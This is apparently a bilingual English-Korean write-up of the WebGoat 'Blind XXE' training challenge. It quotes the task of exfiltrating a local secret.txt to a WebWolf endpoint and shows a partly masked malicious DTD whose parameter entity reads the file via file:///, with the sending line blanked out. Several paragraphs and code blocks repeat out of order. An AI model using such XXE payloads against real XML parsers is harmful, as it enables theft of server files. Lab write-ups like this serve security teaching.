To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.
룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.
First, open Notepad and create an "attack.dtd" file containing the above contents. The "open" entity is an external entity that has been seen in previous challenges and also is a parameter entity that has a percent(%) special character to the left of the entity name in the declaration. This entity is used in the "unzip" entity below it.
먼저 메모장을 열어 위 내용이 담긴 "attack.dtd" 파일을 생성한다. "open" 엔티티는 이전 챌린지에서도 보았던 외부 엔티티이면서도 선언 시 엔티티 명 좌측에 퍼센트(%) 특수문자가 붙어있는 파라미터 엔티티이다. 이 엔티티는 그 아래 "unzip" 엔티티에서 사용된다.
The "unzip" entity has another entity inside. When the "unzip" entity is called on line 4, the "run" entity is newly unveiled. The reason for this complicated process is due to the characteristic of parameter entities. Although it is said that the parameter entity is possible to use it inside DTD, when the above code is expressed as below, there arises a problem that the "open" entity is not parsed.
"unzip" 엔티티는 내부에 다른 엔티티를 품고 있다. 4번째 라인에서 "unzip" 엔티티가 호출되면 내부에 위치해 있던 "run" 엔티티가 새로 생기게 된다. 굳이 이런 복잡한 과정을 거치는 이유는 파라미터 엔티티의 특성 때문에 그렇다. DTD 내부에서 사용할 수 있다고는 하지만 위 코드를 아래처럼 표현 했을 때 "open" 엔티티가 해석되지 않는 문제가 발생한다.
룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.
Blind XXE assignment
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your DTD.
블라인드 XXE 챌린지.
당신은 금방 전, XXE 공격 시 어떻게 공격자 서버에 기록을 남길 수 있는지 확인했다. 이번 챌린지에서는 DTD 파일을 작성하어 우리(공격자) 서버에 "~/.webgoat/plugin/XXE/secret.txt" 파일을 업로드해보라. 작성한 DTD 파일을 WebWolf에 업로드 하여 활용하여 좋다.
OS - Location
Linux - /home/USER/.webgoat-8.0.0.M24/XXE/secret.txt
Windows - c:/Users/USER/.webgoat-8.0.0.M24/XXE/secret.txt
Docker - /home/webgoat/.webgoat-8.0.0.M24/XXE/secret.txt
Try to upload this file using WebWolf landing page for example: http://127.0.0.1:9090/landing?text=contents_file (NOTE: this endpoint is under your full control) Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.
이 파일(secret.txt)을 WebWolf의 랜딩페이지에 업로드하라. 예를 들면 이런 식이다. http://127.0.0.1:9090/landing?text=contents_file. 일단 파일 업로드에 성공하면, 파일의 내용을 댓글로 달도록 한다. 그러면 이번 챌린지를 클리어할 수 있을 것이다.
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your DTD.
블라인드 XXE 챌린지.
당신은 금방 전, XXE 공격 시 어떻게 공격자 서버에 기록을 남길 수 있는지 확인했다. 이번 챌린지에서는 DTD 파일을 작성하어 우리(공격자) 서버에 "~/.webgoat/plugin/XXE/secret.txt" 파일을 업로드해보라. 작성한 DTD 파일을 WebWolf에 업로드 하여 활용하여 좋다.
OS - Location
Linux - /home/USER/.webgoat-8.0.0.M24/XXE/secret.txt
Windows - c:/Users/USER/.webgoat-8.0.0.M24/XXE/secret.txt
Docker - /home/webgoat/.webgoat-8.0.0.M24/XXE/secret.txt
Try to upload this file using WebWolf landing page for example: http://127.0.0.1:9090/landing?text=contents_file (NOTE: this endpoint is under your full control) Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.
이 파일(secret.txt)을 WebWolf의 랜딩페이지에 업로드하라. 예를 들면 이런 식이다. http://127.0.0.1:9090/landing?text=contents_file. 일단 파일 업로드에 성공하면, 파일의 내용을 댓글로 달도록 한다. 그러면 이번 챌린지를 클리어할 수 있을 것이다.
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % open SYSTEM 'file:///c:/Users/USER/.webgoat-8.0.0.M24/XXE/secret.txt'>
<!ENTITY % unzip ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
%unzip;
<!ENTITY % open SYSTEM 'file:///c:/Users/USER/.webgoat-8.0.0.M24/XXE/secret.txt'>
<!ENTITY % unzip ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
%unzip;
First, open Notepad and create an "attack.dtd" file containing the above contents. The "open" entity is an external entity that has been seen in previous challenges and also is a parameter entity that has a percent(%) special character to the left of the entity name in the declaration. This entity is used in the "unzip" entity below it.
먼저 메모장을 열어 위 내용이 담긴 "attack.dtd" 파일을 생성한다. "open" 엔티티는 이전 챌린지에서도 보았던 외부 엔티티이면서도 선언 시 엔티티 명 좌측에 퍼센트(%) 특수문자가 붙어있는 파라미터 엔티티이다. 이 엔티티는 그 아래 "unzip" 엔티티에서 사용된다.
The "unzip" entity has another entity inside. When the "unzip" entity is called on line 4, the "run" entity is newly unveiled. The reason for this complicated process is due to the characteristic of parameter entities. Although it is said that the parameter entity is possible to use it inside DTD, when the above code is expressed as below, there arises a problem that the "open" entity is not parsed.
"unzip" 엔티티는 내부에 다른 엔티티를 품고 있다. 4번째 라인에서 "unzip" 엔티티가 호출되면 내부에 위치해 있던 "run" 엔티티가 새로 생기게 된다. 굳이 이런 복잡한 과정을 거치는 이유는 파라미터 엔티티의 특성 때문에 그렇다. DTD 내부에서 사용할 수 있다고는 하지만 위 코드를 아래처럼 표현 했을 때 "open" 엔티티가 해석되지 않는 문제가 발생한다.
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % open SYSTEM 'file:///c:/Users/USER/.webgoat-8.0.0.M24/XXE/secret.txt'>
<!EN■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■%open;'>
<!ENTITY % open SYSTEM 'file:///c:/Users/USER/.webgoat-8.0.0.M24/XXE/secret.txt'>
<!EN■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■%open;'>